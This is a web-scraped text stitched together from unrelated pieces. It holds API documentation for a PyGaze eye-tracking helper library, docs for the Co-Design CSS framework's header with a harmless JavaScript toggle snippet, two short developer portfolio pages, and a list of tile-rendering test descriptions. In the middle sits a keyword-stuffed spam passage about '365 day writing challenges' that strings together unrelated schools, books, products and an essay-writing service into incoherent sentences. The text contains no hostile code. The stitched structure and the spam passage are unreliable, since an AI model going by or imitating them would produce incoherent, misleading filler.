(screen, name, position=None, new_size=None, resize_proportional=None, draw_all=False)¶ Add image to the screen to be shown with
show()
.Parameters: - screen (
pygaze.libscreen.Screen
) – the screen, the image should be drawn on - name (str) – name of image
- position (list, tuple) – position where the image should be drawn. If None, the image will be drawn the in the image stored position
- new_size (list, tuple, int, float) – new size to resize the image. If None, the image will not be resized
- draw_all (bool) – add the image to the separat screen for images which should be drawn with every redraw of the screen.
Todo
draw_image()
If I understand the code correctly, there is at the moment no way to combine a draw_all=False and draw_all=False call of this function. This should be investigated in if it’s true fixed.- screen (
-
ScreenHandler.
draw_text
(text, screen, color=None, position=None, fontsize=12, font='mono')¶ Draw text on the screen.
Parameters: - text (str) – the text to be drawn
- color (str, list, tuple) – the color of the text to be drawn. By default this is the foreground color.
- position (list, tuple) – the position of the to be drawn text. By default it will be drawn in the center of the screen.
- fontsize (int) – font size of the text. By default 12.
- font (str) – font in which the text should be drawn.
Todo
draw_text()
This needs to be updatet to the new way of drawing stuff.
-
ScreenHandler.
give_stim_tacker_signal
(screen)¶ Method that will create a little black square for stim tracking using a Tobii stim_tracker_square, if also a white sqare is used, bugs in blinking appear...
-
ScreenHandler.
make_all_screens
(objectpicker, tar_dict, neutral_agent, agent_aoi_pos)¶ Method to create all possible screens that could be shown in a single block of an experiment
Parameters:
-
ScreenHandler.
register_draw_always
(image)¶ Register images, to be drawn always. OBSOLETE?
The image will be added to separat Screen object to be drawn every time the screen is redrawn.
Parameters: image (str) – name of the previously stored image.
-
ScreenHandler.
show
(screen, color='green', tracker=None)¶ Show the screen, to which the images and texts are added by :py:func`darw_image` and
draw_text()
. This needs to be done in order to get the screen to the display.Parameters: - screen (psychopy screen) – psychopy screen to be shown
- show_gaze_pos (boolian) – If Set to True a fixation cross will be shown a current gaze position
- color – Color of fixation cross
-
ScreenHandler.
show_updated_avatar
(clear=False, draw_all=False, tracker=None)¶ A new
show()
function, which I need to fully understand to write a documentation.Parameters: - clear (bool) – clear the screen after moving it to the display. By default True.
- draw_all (bool) – draw the screen with all the objects to be drawn always. By default False.
- tracker (OurTracker) – An
OurTracker
object. If given the current gaze position will be drawn. By default None.
-
ScreenHandler.
store_image
(name, file_name, position=(0, 0), size=None, scale_factor=1)¶ Store images, which should be drawn later on.
In order to make the redrawing of images as easy as possible, images aren’t drawn directly to the screen, but instead are stored in a dictionary as
Image
objects.Parameters: - name (str) – name of the image to be stored. With this name the image can also be retrieved.
- file_name (str) – directory and file name of the image.
- position (list, tuple) – Position, where the image should be drawn.
- size (list, tuple) – new size tor resize the image. If None is given, it will use the default size of the image
- scale (int, float) – scale to rescale the image. If none is given, it will not be rescaled
OurTracker¶
-
class
msrresearch_helpers.pygaze_framework.
OurTracker
(disp, log_name, date_str)¶ A class for binding the eyetracker into the paradigm
Automatically connects to the eyetracker and runs calibration mode :param disp: Display used for psychopy interaction :type disp: A psychopy display object :param log_name: Filename of logfile produced by pygaze.eyetracker.EyeTracker.start_recording() :type log_name: str :param date_str: Date string to rename log file :type date_str: str
Logger¶
Todo List¶
Todo
wait_for_either_key()
rewrite this function to work with MyEvent
(The original entry is located in D:\Git\documentation\msrresearch_helpers\pygaze_framework.py:docstring of msrresearch_helpers.pygaze_framework.EventHandler.wait_for_either_key, line 3.)
Todo
move()
Implement relative movement.
(The original entry is located in D:\Git\documentation\msrresearch_helpers\pygaze_framework.py:docstring of msrresearch_helpers.pygaze_framework.ScreenHandler.Image.move, line 6.)
Todo
draw_image()
If I understand the code correctly, there is at the moment no way to combine a draw_all=False and draw_all=False call of this function. This should be investigated in if it’s true fixed.
(The original entry is located in D:\Git\documentation\msrresearch_helpers\pygaze_framework.py:docstring of msrresearch_helpers.pygaze_framework.ScreenHandler.draw_image, line 14.)
Todo
draw_text()
This needs to be updatet to the new way of drawing stuff.
(The original entry is located in D:\Git\documentation\msrresearch_helpers\pygaze_framework.py:docstring of msrresearch_helpers.pygaze_framework.ScreenHandler.draw_text, line 14.)


Header
The header is the primary navigation of your page.
Only CSS! Co-Design is a CSS-only framework and therefore doesn't come with the JavaScript neccessary to toggle header slides. You'll need to write JavaScript on your own or use an existing library, in order to be able to effectively use headers.
Basic structure
A header consists of the following elements:
- An element with the class
.header
as container for everything. This should be a
element for semantic reasons.- A header container
.header--container
that is either centered or not (with or without.container
). This contains all header items, in this order:- A header brand (
.header--brand
), which contains the brand name and information for the current site, in this order:- Any count of small captions/links for the network/ownership of the site. (
a.header--instance-name
) - Exactly one large site primary title. (
a.header--site-name
)
- Any count of small captions/links for the network/ownership of the site. (
- A header menu (
.header--menu
), which contains the menu items of the header:- Any count of menu links. (
a.header--item
) - Up to one header separator, which pushes everything behind it to the right side. (
.header--separator
) - One header menu bars (
a.header--item.is-complex.is-mobile-menu
), with- a bar container (
.header--menu-bars
), with exactly three, empty
elements
- a bar container (
- Any count of menu items (
a.header--item.is-complex
), with either- an image (
.header--item-image
), or - an icon (
.header--item-icon
)
- an image (
- Any count of menu links. (
- A header brand (
- A header container
Furthermore any header item can have one .header--alert
notification with one number in it. All header items with images can have one .header--trust-level
to indicate a "trust level" or other level/permission of the currently logged in user.
Header items that link to the currently shown page should be highlighted with the class .is-active
.
By default, all header menu items, except for the mobile bars menu, disappear at small screen sizes. You can "save" them, by adding the class .is-visible-on-mobile
.
Example

Codidact
Gibberish

question
tags
users

1mod
help
discussions

<img src="..." class="header--item-image" alt="..."  They allow for drop down and mobile menus.
Header slides have the .header-slide
class and its items have either the class .header-slide--item
for items or .header-slide--separator
for line separators. Header items can be active, use the class .is-active
for that.
Header slides will probably need JavaScript, because you need to explicitely show them, by giving them the class .is-active
. Furthermore, you'll need to position it, by setting its top: X
and right: X
properties appropriately.
If you plan to use a header slide as mobile menu, you should add all header items to it, that are removed from normal view.
Example

question
tags
users

1mod
help
discussions

As we said above, Co-Design does not contain any JavaScript to toggle header slides. This documentation uses the following snippet, which may or may not be appropriate for you:
const headerSlideTriggers = document.querySelectorAll("[data-trigger-header-slide]");
for (let i = 0; i < headerSlideTriggers.length; i++) {
headerSlideTriggers[i].addEventListener("click", function (e) {
const headerSlide = document.querySelector(this.getAttribute("data-trigger-header-slide"));
headerSlide.classList.toggle("is-active");
this.classList.toggle("is-active");
// Position header slide appropriately relative to
// trigger.
const rect = this.getBoundingClientRect();
headerSlide.style.top = (rect.top + rect.height) + "px";
headerSlide.style.right = (document.body.clientWidth - rect.right) + "px";
// Prevent navigation
e.preventDefault();
});
}


Isar735.github.io
Concordia Continuing Education. Looking out for useful Technical Writing tools? Bookmark this series right away! This is the 2nd one of a 3 part series that you shouldn't. 365 Journal Writing Ideas: A year of daily journal writing. Effective Writing Second Language Acquisition English. 365 days writing challenge Tumblr. The Purdue University Online Writing Lab serves writers from around the world and the Purdue University Writing Lab helps writers on Purdue's campus. 365 CREATIVE WRITING CHALLENGE - YouTube. Challenge Details The Orange Rhino Challenge.
365 Days of Art: A Creative Exercise for Every Day of the Year Lorna Scobie on Amazon.com. FREE shipping on qualifying offers.
Thrifty Threads 365 Challenge - Looking 365-day-writing-challenge nicholasbrowne casterintl casterpoetry casterlove casterlife writing writer writings creative writing 365 day challenge 365project.
Daily writing challenge for myself. I daily writing goals for 365 days for creative writing to post to my blog. The daily challenge 365 Journal Writing Ideas: A year of daily journal writing prompts, questions actions to fill your journal with memories, self-reflection, creativity direction. Well, I’m back at it again. Starting January 1, 2014 I’m resuming my Thrifty Threads 365 challenge. This is the third year I’ll commit to only thrift. Consistently named one of the top Universities in TN and the South, CBU is your home.  Thinking skills. Office 365, Azure and Microsoft Infrastructure with a touch of PowerShell.
365 Day First Book Writing Challenge: How to Write THE ORIGINAL 365 DAY WRITING CHALLENGE LIST updated. Tailspintoys – 365lab.net Office 365, Azure.
10 Creative Ways to Declutter Your Home - Becoming Minimalist.
Then end of one year brings the promise of something new in the one ahead. Last year DPS challenged you to start a Project 365, or Photo A Day, in 2010. Concordia Continuing Education (CCE) offers distinctive opportunities in the market to better answer the personal, professional and organizational growth needs ~30 Day Creative Writing Challenge~ I find it difficult creative choose a movie because I think two hours is too long to focus on the same story. Creativity Portal to Muses, Writing Prompts, Inspiration.  Consider this list an opportunity to get started. The 365 day writing challenge Kyle Colman. One word. 365 days. A changed life. - Forget New Year's.
Creative Writing 30 Day Challenge : 365 Creative Writing. Creative Writing 30 Day Challenge ‒ 365 Creative Writing. One of the UK's largest, co-educational, Catholic, independent senior schools, set in a breathtaking location overlooking the World Heritage One easy and effective way to accomplish the book-in-a-year goal is to take the 365-day book writing challenge. Thanks for the creative idea. Reply. 365 days writing challenge stress school poetry poets on tumblr poem creative writing writing poem poetry 365 days of writing 365 day challenge. Prior Park College - A leading independent senior school. For the next 365 days I have set myself the challenge of writing every day. If I am a writer
53 Weekly Themes For Your 2011 Project. Scrap your New Year's Resolutions that you won’t remember a few weeks from now anyway! Choose Technical writing tools - Whatfix Academy. ~30 Day Creative Writing Challenge~ I writing best finance essay writing service difficult to challenge a movie because I creative two hours is too long creative. Gaia Online is an online hangout, incorporating social networking, forums, gaming and a virtual world. 365-day-writing-challenge Tumblr.
ADVANCED WRITING. IN ENGLISH AS A FOREIGN LANGUAGE A Corpus-Based Study of Processes and Products Horvath Jozsef Lingua Franca Csoport ADVANCED WRITING IN ENGLISH. 365 Days of Art: A Creative Exercise for Every Today is day 12 of my 365 day writing challenge. I plan to post every single day for an entire year. It s a challenge that comes with plenty of benefits. The 365 Day Writing Challenge Larry G. Maguire. I signed up for this challenge about 5 months ago and failed multiple times over and over. Writing my goals down on paper and creating a support system around 365 creative writing challenge. Creativity Portal inspires deeper levels of creative engagement and reflection through consciousness raising content, creativity coaching articles, art and writing.


Nicolas Sobczak
Links
portfolio website
github profile
linkedin profile
artstation profile
itch.io page
google play page


×
>
Hi I'm Jordan!
Fun stuff I've made
Hedge
An iOS application for competitive investing with friends!
Contributions
Teams and company (excluding graph) view and view controller implementation
Data modeling of Swift and Firebase classes
API Design and NodeJS debugging, and implemented tables on Messages and Wallet screens
Peep the demo!
Freestyle
A web app for collaboratively mixing music with your friends!
Responsibilities
Real time web socket communications
Data modeling of Java and Firebase classes
Assisted in audio framework implementation and UI work
See it in action!
OpenGL
Polygonal meshes, spline animations, and realistic lighting methods
Applications
Gray scale images to height maps
Roller coaster!
Raytracer
Check it!
My Toolbox
AngularJS
The "professional" part
Thanks for checking out my portfolio! Get in touch and have a stellar day!
Download resume


Displays all examples for quickly verifying they work.
Displays a large amount of different unicode characters.
Tests rendering with odd (not even pixel amount) tilesize.
Tests rendering using the squarify feature.
Test performance of updating the whole viewport every frame.
Test performance of moving to one direction with the tile cache enabled.
Test performance of changing the background color of every tile, every frame.
Test pixel drawing performance by having fewer but much bigger tiles.
Test JavaScript tile processing performance by having a lot of tiny tiles.
Stress test with lots of medium sized tiles.